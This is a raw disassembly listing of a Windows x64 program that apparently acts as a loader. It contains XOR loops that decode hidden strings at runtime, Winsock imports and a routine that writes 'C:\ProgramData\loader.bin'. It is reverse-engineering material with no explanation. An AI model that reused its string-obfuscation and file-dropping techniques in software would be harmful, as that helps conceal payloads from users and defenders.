mov eax, dword [rsi + r9*4 + 0xd4cb4]
cmp eax, 1
jne 0x14005263e
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r10 + r8 + 0x1638], eax
jmp 0x14005265b
cmp eax, 2
jne 0x14005265b
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r10 + r8 + 0x1638], eax
mov eax, dword [rdx + rcx*4 + 8]
mov dword [r10 + r8 + 0x163c], eax
dec dword [r8 + 0x1e80]
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, dword [0x1400e7d84]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov rax, qword [0x1400e7b18]
mov qword [rbp + 0xd8], rax
je 0x140052864
cmp r13d, 2
jl 0x140052819
movdqa xmm2, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm3, xmmword [0x1400e7ec0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
mov eax, dword [str.5555555555555555]
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0xd8]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0xd8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e7ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
movd xmm1, dword [rbp + 0xdc]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
jmp 0x140052864
lea r9, [rbp + 0xd8]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140052830
mov dword [rbp + 0x640], 0x3ebebebf
lea rdx, [rbp + 0xd8]
mov dword [rbp + 0x644], 0x3ebebebf
lea rcx, [rbp - 0x80]
mov dword [rbp + 0x648], 0x3ed4d4d6
movups xmm0, xmmword [rbp + 0x640]
shufps xmm0, xmm0, 0x93
movss xmm0, xmm11
shufps xmm0, xmm0, 0x39
movups xmmword [rbp + 0x640], xmm0
movups xmmword [rbp - 0x80], xmm0
call fcn.14003a4e0
mov rbx, qword [0x1401000f0]
lea rdx, [rbp + 0x7b8]
mov dword [rbp + 0x7b8], ntohl
movss xmm0, dword [rbx + 0x167c]
lea rcx, [rbx + 0x1e80]
movss dword [rbp + 0x7bc], xmm0
call fcn.140023b10
mov dword [rbx + 0x167c], 0x3f800000
lea rdx, [rbp + 0x528]
mov rbx, qword [0x1401000f0]
mov dword [rbp + 0x528], 0xa
movss xmm1, dword [rbx + 0x1670]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1674]
movss dword [rbp + 0x52c], xmm1
movss dword [rbp + 0x530], xmm0
call fcn.140023b10
mov dword [rbx + 0x1670], 0x40e00000
lea rdx, [rbp + 0x498]
mov dword [rbx + 0x1674], 0x40e00000
mov rbx, qword [0x1401000f0]
mov qword [rbp + 0x4a4], 0
mov qword [rbp + 0x49c], 0
mov dword [rbp + 0x498], edi
movups xmm0, xmmword [rbx + 0x16fc]
lea rcx, [rbx + 0x1e70]
movups xmmword [rbp + 0x49c], xmm0
call fcn.140023c00
mov dword [rbx + 0x16fc], 0x3f1f9fa0
mov dword [rbx + 0x1700], 0x3f21a1a2
mov dword [rbx + 0x1704], 0x3f33b3b4
mov dword [rbx + 0x1708], 0x3f800000
mov rcx, qword [0x1401000f0]
or dword [rcx + 0x1e58], 1
mov dword [rcx + 0x1e5c], 0x434e0000
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov ecx, 0x8000
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm9
addss xmm2, dword [0x1400e7d90]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
cmp byte [0x1401000e9], 0
movsd xmm0, qword [0x1400e7b90]
movzx eax, word [0x1400e7b98]
cmovne ecx, edi
cmp byte [0x1400e7b99], 0
movsd qword [rbp - 0x30], xmm0
mov word [rbp - 0x28], ax
je 0x140052a9b
xor byte [rbp - 0x2f], 0x36
xor byte [rbp - 0x2e], 0x37
xor byte [rbp - 0x2d], 0x38
xor byte [rbp - 0x2c], 0x39
xor byte [rbp - 0x2b], 0x3a
xor byte [rbp - 0x2a], 0x3b
xor byte [rbp - 0x29], 0x3c
xor byte [rbp - 0x28], 0x3d
xor byte [rbp - 0x27], 0x3e
mov byte [rbp - 0x30], reloc.WLDAP32.dll_Ordinal_35
mov qword [rsp + 0x38], rdi
lea rax, [rbp + 0x380]
mov qword [rsp + 0x30], rdi
lea r8, [0x1401001a0]
mov dword [rsp + 0x28], ecx
mov r9d, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp - 0x30]
mov qword [rbp + 0x380], 0
xor edx, edx
mov qword [rsp + 0x20], rax
call fcn.140040190
mov rbx, qword [0x1401000f0]
mov rcx, qword [rbx + 0x1e78]
movsxd rax, dword [rbx + 0x1e70]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rbx + rax*8 + 0x16fc], xmm0
dec dword [rbx + 0x1e70]
movsxd rax, dword [rbx + 0x1e80]
mov rdx, qword [rbx + 0x1e88]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4 - 0xc]
lea r9, [rax + rax*2]
cmp dword [rsi + r9*4 + 0xd4cb0], 8
mov r8d, dword [rsi + r9*4 + 0xd4cb8]
jne 0x140052b72
mov eax, dword [rsi + r9*4 + 0xd4cb4]
cmp eax, 1
jne 0x140052b55
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r8 + rbx + 0x1638], eax
jmp 0x140052b72
cmp eax, 2
jne 0x140052b72
mov eax, dword [rdx + rcx*4 - 8]
mov dword [r8 + rbx + 0x1638], eax
mov eax, dword [rdx + rcx*4 - 4]
mov dword [r8 + rbx + 0x163c], eax
movsxd rcx, dword [rbx + 0x1e80]
lea eax, [rcx - 1]
mov dword [rbx + 0x1e80], eax
lea rax, [rcx - 2]
lea rcx, [rax + rax*2]
movsxd rax, dword [rdx + rcx*4]
lea r8, [rax + rax*2]
cmp dword [rsi + r8*4 + 0xd4cb0], 8
mov r9d, dword [rsi + r8*4 + 0xd4cb8]
jne 0x140052bdd
mov eax, dword [rsi + r8*4 + 0xd4cb4]
cmp eax, 1
jne 0x140052bc0
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r9 + rbx + 0x1638], eax
jmp 0x140052bdd
cmp eax, 2
jne 0x140052bdd
mov eax, dword [rdx + rcx*4 + 4]
mov dword [r9 + rbx + 0x1638], eax
mov eax, dword [rdx + rcx*4 + 8]
mov dword [r9 + rbx + 0x163c], eax
dec dword [rbx + 0x1e80]
lea rdx, [rbp + 0x480]
mov qword [rbp + 0x48c], 0
lea rcx, [rbx + 0x1e70]
mov qword [rbp + 0x484], 0
mov dword [rbp + 0x480], edi
movups xmm0, xmmword [rbx + 0x16fc]
movups xmmword [rbp + 0x484], xmm0
call fcn.140023c00
mov qword [rbx + 0x16fc], 0
mov r8d, edi
mov dword [rbx + 0x1704], edi
mov dword [rbx + 0x1708], 0x3f800000
mov rcx, qword [0x1401000f0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm0, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm0, dword [0x1400e7da4]
addss xmm2, dword [0x1400e7d98]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400e7b68]
mov dword [rbp + 0x6a0], eax
movzx eax, word [0x1400e7b6c]
mov word [rbp + 0x6a4], ax
movzx eax, byte [0x1400e7b6e]
mov byte [rbp + 0x6a6], al
mov dword [rbp + 0x378], 0x434e0000
mov dword [rbp + 0x37c], 0x420c0000
movups xmm0, xmmword [str.gspqjnn]
movups xmmword [rbp + 0x690], xmm0
cmp r13d, 2
jl 0x140052e6d
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x694]
movdqa xmm5, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, eax
mov eax, Ordinal_33
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140052d60
cmp r8d, 0x17
jge 0x140052eb4
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x140052e80
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x690]
call fcn.14004bf60
test al, al
je 0x140053790
lea rdx, [0x1400d46c6]
lea rcx, [rbp + 0xe58]
call fcn.140057bc0
lea rdx, [0x1401001a0]
mov rsi, rax
lea rcx, [rbp + 0xe78]
call fcn.140057bc0
lea rdx, [0x140100158]
mov rdi, rax
lea rcx, [rbp + 0xe98]
call fcn.140057bc0
lea rdx, [0x140100180]
mov rbx, rax
lea rcx, [rbp + 0xeb8]
call fcn.140057bc0
mov r9, rdi
mov qword [rsp + 0x20], rsi
mov r8, rbx
lea rcx, [0x140100260]
mov rdx, rax
call fcn.14006e3f0
cmp byte [0x140100470], 0
jne 0x1400531b2
lea rcx, [0x140100478]
call fcn.140057a80
mov rdx, rax
lea rcx, [rbp + 0x1080]
call fcn.140057bc0
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x1080]
call fcn.140057ab0
lea rdx, [rbp + 0x9a8]
lea rcx, [rbp + 0x1080]
mov r9, qword [rax]
call fcn.140057a90
lea rdx, [rbp + 0x950]
lea rcx, [rbp + 0x1080]
mov r8, qword [rax]
call fcn.140057ab0
lea rcx, [rbp + 0x958]
mov rdx, qword [rax]
call fcn.140058500
lea rcx, [rbp + 0x1080]
call fcn.140057a80
movups xmm0, xmmword [0x1400e78c0]
xor edi, edi
mov r10, rax
movups xmmword [rbp + 0x788], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x140053185
cmp r13d, 2
jl 0x140053147
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x78c]
movdqa xmm5, xmmword [0x1400e7eb0]
mov eax, 5
movdqa xmm4, xmmword [0x1400e8000]
mov edx, edi
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov r8d, dword [rbp - 0x80]
movd xmm6, eax
mov eax, Ordinal_33
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x140053040
jmp 0x140053185
lea r9, [rbp + 0x788]
mov r8d, edi
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140053151
lea rax, [rbp + 0x788]
mov byte [0x1401000ea], 1
lea rcx, [rbp + 0x1080]
mov qword [0x1400fa368], rax
mov qword [0x1400fa360], r10
call fcn.140057ad0
jmp 0x140053790
mov rcx, qword [0x140100448]
xor edi, edi
mov rdx, qword [0x140100440]
mov rax, rcx
sub rax, rdx
mov esi, edi
sar rax, 6
test rax, rax
je 0x140053687
mov ebx, edi
nop dword [rax]
sub rcx, rdx
sar rcx, 6
cmp rcx, rbx
jbe 0x140056499
shl rbx, 6
lea rcx, [rbp + 0x1030]
add rbx, rdx
mov rdx, rbx
call fcn.140057c00
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x1050]
call fcn.140057c00
lea rdx, [rbp + 0x1050]
lea rcx, [rbp + 0xed8]
call fcn.140057c00
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140053239
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
movsxd rdi, eax
cmp rdx, 0x10
jb 0x140053282
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005327d
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400563f5
mov rcx, r8
call fcn.1400c12a0
xor eax, eax
lea rdx, [rbp + 0x1070]
mov qword [rbx + 0x10], rax
lea rcx, [rbp + 0x9f0]
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], al
mov qword [rbp + 0x1070], rdi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x9f0]
mov eax, dword [rbp + 0xa10]
lea r9, [rbp + 0xa20]
movups xmm1, xmmword [rbp + 0xa00]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x2530]
movaps xmmword [rbp + 0xa20], xmm0
movaps xmmword [rbp + 0xa30], xmm1
mov dword [rbp + 0xa40], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xor edi, edi
lea rax, [rbp + 0x2530]
xorps xmm0, xmm0
mov qword [rbp + 0x2e0], rdi
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e8], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140053320
lea rdx, [rbp + 0x2530]
lea rcx, [rbp + 0x2d0]
call fcn.140058850
cmp qword [rbp + 0x2e8], 0x10
lea rdx, [rbp + 0x2d0]
xorps xmm0, xmm0
mov qword [rbp + 0xfd8], rdi
cmovae rdx, qword [rbp + 0x2d0]
mov r8, 0xffffffffffffffff
movups xmmword [rbp + 0xfc8], xmm0
mov qword [rbp + 0xfe0], rdi
inc r8
cmp byte [rdx + r8], dil
jne 0x140053372
lea rcx, [rbp + 0xfc8]
call fcn.140058850
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x1400533c8
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400533c3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
lea rdx, [rbp + 0xfc8]
mov qword [rbp + 0x2e0], rdi
lea rcx, [rbp + 0xd58]
mov qword [rbp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2d0], dil
call fcn.140057c00
mov rdx, rax
lea rcx, [rbp + 0x828]
call fcn.14004a850
mov rbx, rax
lea rax, [0x1400ff018]
cmp rax, rbx
je 0x140053490
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0x10
jb 0x140053453
mov rcx, qword [0x1400ff018]
inc rdx
cmp rdx, 0x1000
jb 0x14005344e
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400563f5
mov rcx, r8
call fcn.1400c12a0
mov qword [0x1400ff028], rdi
mov qword [reloc.WS2_32.dll_ntohs], 0xf
mov byte [0x1400ff018], dil
movups xmm0, xmmword [rbx]
movups xmmword [0x1400ff018], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x1400ff028], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], dil
mov rdx, qword [rbp + 0x840]
cmp rdx, 0x10
jb 0x1400534d1
mov rcx, qword [rbp + 0x828]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400534cc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
cmp qword [rbp + 0x1048], 0x10
lea r9, [rbp + 0x1030]
mov rax, qword [reloc.WS2_32.dll_ntohs]
cmovae r9, qword [rbp + 0x1030]
mov qword [rbp + 0x838], rdi
mov byte [rbp + 0x828], dil
mov rdi, qword [rbp + 0x1040]
mov qword [rbp + 0x840], reloc.WS2_32.dll_ntohs
cmp rdi, rax
ja 0x140053542
cmp rax, 0x10
mov qword [0x1400ff048], rdi
lea rbx, [0x1400ff038]
mov r8, rdi
cmovae rbx, qword [0x1400ff038]
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140053551
mov rdx, rdi
lea rcx, [0x1400ff038]
call fcn.140058df0
mov rdx, qword [rbp + 0xfe0]
cmp rdx, 0x10
jb 0x140053592
mov rcx, qword [rbp + 0xfc8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005358d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
mov rdx, qword [rbp + 0x1068]
xor edi, edi
mov qword [rbp + 0xfd8], rdi
mov qword [rbp + reloc.WS2_32.dll_ntohse0], 0xf
mov byte [rbp + 0xfc8], dil
cmp rdx, 0x10
jb 0x1400535ee
mov rcx, qword [rbp + 0x1050]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400535e9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
mov rdx, qword [rbp + 0x1048]
mov qword [rbp + 0x1060], rdi
mov qword [rbp + 0x1068], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1050], dil
cmp rdx, 0x10
jb 0x140053648
mov rcx, qword [rbp + 0x1030]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140053643
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
mov rcx, qword [0x140100448]
inc esi
mov rdx, qword [0x140100440]
mov rax, rcx
sub rax, rdx
movsxd rbx, esi
sar rax, 6
mov qword [rbp + 0x1040], rdi
mov qword [rbp + 0x1048], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1030], dil
cmp rbx, rax
jb 0x1400531e0
lea rcx, [0x140100260]
call fcn.1400681f0
xorps xmm0, xmm0
mov qword [rbp + 0x590], rdi
mov r8d, Ordinal_27
mov qword [rbp + 0x598], rdi
lea rdx, str.C:ProgramDataloader.bin
lea rcx, [rbp + 0x580]
movups xmmword [rbp + 0x580], xmm0
call fcn.140058850
lea rdx, [rbp + 0x580]
call fcn.140049ec0
mov rdx, qword [rbp + 0x598]
cmp rdx, 0x10
jb 0x140053711
mov rcx, qword [rbp + 0x580]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005370c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400563f5
call fcn.1400c12a0
xorps xmm0, xmm0
mov qword [rbp + 0x590], rdi
mov r8d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x598], reloc.WS2_32.dll_ntohs
lea rdx, str.User_Registered
mov byte [rbp + 0x580], 0
lea rcx, [rbp + 0x868]
mov qword [rbp + 0x878], rdi
movups xmmword [rbp + 0x868], xmm0
mov qword [rbp + 0x880], rdi
call fcn.140058850
lea rdx, [rbp + 0x868]
lea rcx, [0x140100260]
call fcn.14006b5b0
mov dword [0x140100178], 0
mov byte [0x1401000ec], 1
mov byte [0x1401000eb], 0
mov dword [0x140100174], 2
mov r8, qword [0x1401000f0]
mov rcx, qword [r8 + 0x1e78]
movsxd rax, dword [r8 + 0x1e70]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
mov rcx, r15
movups xmmword [r8 + rax*8 + 0x16fc], xmm0
dec dword [r8 + 0x1e70]
call fcn.140011870
mov rcx, qword [0x1401000f0]
mov ebx, 5
mov r8d, edi
mov rax, qword [rcx + 0x1d18]
lea esi, [rbx + 0x1a]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
movss xmm2, dword [rax + 0x54]
subss xmm0, dword [rax + 0x9c]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, dword [0x1400e7da8]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm0, dword [rax + 0x134]
movss xmm1, dword [rax + 0x130]
maxss xmm0, xmm2
maxss xmm1, dword [rax + 0x118]
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
movzx eax, byte [0x1400e7840]
mov byte [rbp + 0x7e0], al
movups xmm0, xmmword [str.tZE_XB]
movups xmmword [rbp + 0x7c8], xmm0
movsd xmm0, qword [0x1400e7838]
movsd qword [rbp + 0x7d8], xmm0
cmp r13d, 2
jl 0x1400539dd
movdqa xmm0, xmmword [str.5555555555555555]
lea rcx, [rbp + 0x7cc]
movdqa xmm5, xmmword [0x1400e7eb0]
movdqa xmm4, xmmword [0x1400e8000]
movdqa xmm7, xmmword [0x1400e7ed0]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm6, ebx
movd xmm8, esi
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7f00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x1400538d0
cmp r8d, 0x19
jge 0x140053a24
movsxd rax, r8d
lea r9, [rbp + 0x7c8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
